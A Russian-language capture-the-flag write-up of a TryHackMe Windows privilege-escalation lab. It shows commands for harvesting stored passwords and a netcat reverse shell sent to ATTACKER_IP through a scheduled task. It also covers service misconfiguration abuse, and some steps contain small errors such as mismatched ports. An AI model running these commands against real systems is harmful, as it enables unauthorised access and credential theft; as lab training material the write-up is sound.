Пост

TryHackMe - Эскалация привилегий в Windows

Различные способы повышения привилегий в Windows

TryHackMe - Эскалация привилегий в Windows

Введение

Эскалация привилегий — обязательный этап в пентестинге и хакинге в целом, так как она позволяет получить полный доступ к удалённой машине.

Это Windows‑сторона вопроса.

Tryhackme Room Link

Что такое эскалация привилегий?

  • Эскалация привилегий — это процесс получения более высокого уровня доступа или прав в системе, чем было выдано изначально.

2 основных типа эскалации привилегий:

  1. Вертикальная эскалация привилегий (Privilege Elevation) — атакующий получает более высокий уровень прав, например, переходит от обычного пользователя к администратору или root‑доступу. Чаще всего это происходит за счёт уязвимостей ПО, неправильных настроек или кражи учётных данных.

  2. Горизонтальная эскалация привилегий — атакующий остаётся на том же уровне прав, но получает доступ к аккаунту или ресурсам другого пользователя. Например, обычный пользователь может получить доступ к приватным данным другого пользователя.

Эскалация привилегий в Windows

  • Пользователи Windows делятся на 2 группы:
    1. Administrators — пользователи с наибольшими привилегиями. Они могут изменять любые системные настройки и получать доступ к любым файлам в системе.
    2. Standard Users — пользователи с ограниченными правами. Обычно они не могут вносить постоянные или критически важные изменения в систему и ограничены своими файлами.
  • Встроенные учётные записи:
    1. SYSTEM / LocalSystem — учётная запись с наивысшими привилегиями, даже выше администратора, с полным доступом к системе.
    2. Local Service — запускает службы с минимальными привилегиями и использует анонимные сетевые подключения.
    3. Network Service — запускает службы с минимальными привилегиями и использует учётные данные компьютера для сетевой аутентификации.

Пользователи, которые могут изменять системные настройки, относятся к какой группе?

Ответ:

1
Administrators

Учётная запись SYSTEM имеет больше привилегий, чем пользователь Administrator (да/нет)

1
aye

Сбор паролей из типичных мест

Пароль пользователя julia.jones был оставлен в истории PowerShell. Какой это пароль?

1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Less

На удалённом хосте запущен веб‑сервер. Найдите любой интересный пароль в файлах web.config, связанных с IIS. Какой пароль у пользователя db_admin?

Итак, мы просто используем команду, предоставленную в задании, на нашей скомпрометированной Windows‑машине

1
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Less

В учётных данных Windows сохранён пароль. Используя cmdkey и runas, запустите оболочку от имени mike.katz и получите флаг с его рабочего стола.

Итак, мы используем шаги, предоставленные в задании.

1
runas /savecred /user:WPRIVESC1\mike.katz cmd.exe

Открывается новое окно cmd, и теперь мы проверяем флаг

Flag

Получите сохранённый пароль из сохранённой сессии PuTTY в вашем профиле. Какой пароль у пользователя thom.smith?

1
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Flag

Другие быстрые способы (Quick Wins)

По сути, это Windows‑аналог cron‑заданий в Linux.

Файл schtask.bat — это наш cronjob, поэтому нам нужно записать туда наш shell, и когда он выполнится, мы получим shell

1
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

Запускаем netcat‑слушатель на нашей атакующей машине

1
2
nc -lvnp 1337
listening on [any] 1337 ...

И запускаем schtasks на машине‑жертве

1
C:\> schtasks /run /tn vulntask

Flag

И мы получаем подключение

Flag

И просто читаем флаг

Flag

Злоупотребление неправильной конфигурацией сервисов

У нас есть права на изменение WService.exe

Scheduler

Используем предоставленный payload

Payload

Теперь запускаем HTTP‑сервер локально

1
python3 -m http.server 80

Payload

Окей, для этого нам нужно использовать PowerShell

Payload

ОК, похоже, файл не скачивается. После небольшого расследования я выяснил, что нужно указать выходной файл с помощью флага -O

Payload

  • Перемещаем файл туда, где находится WService
  • Назначаем необходимые права доступа к файлу

Payload

Теперь запускаем netcat‑слушатель и перезапускаем процесс WindowsScheduler, чтобы наш reverse shell выполнился

1
nc -lvnp 1337
1
C:\Users\thm-unpriv> sc stop windowsscheduler

И мы получаем подключение

Флаг находится в C:\Users\svcusr1\Desktop

Для второго флага мы выполняем тот же самый процесс, но с Disk.exe. Единственное отличие — перезапуск процесса с использованием кавычек, так как в имени процесса есть пробелы

1
2
sc stop "disk sorter enterprise"
sc stop "disk sorter enterprise"

Флаг находится в C:\Users\svcusr2\Desktop

Для последнего флага процесс точно такой же, но вместо этого мы изменим путь к бинарному файлу THMService

1
2
3
sc config THMService binPath= "C:\Isers\thm-unpriv\rev-svc3.exe" obj= LocalSystem
sc stop THMService
sc start THMService

Флаг находится в C:\Users\Administrator\Desktop

Авторский пост защищен лицензией CC BY 4.0 .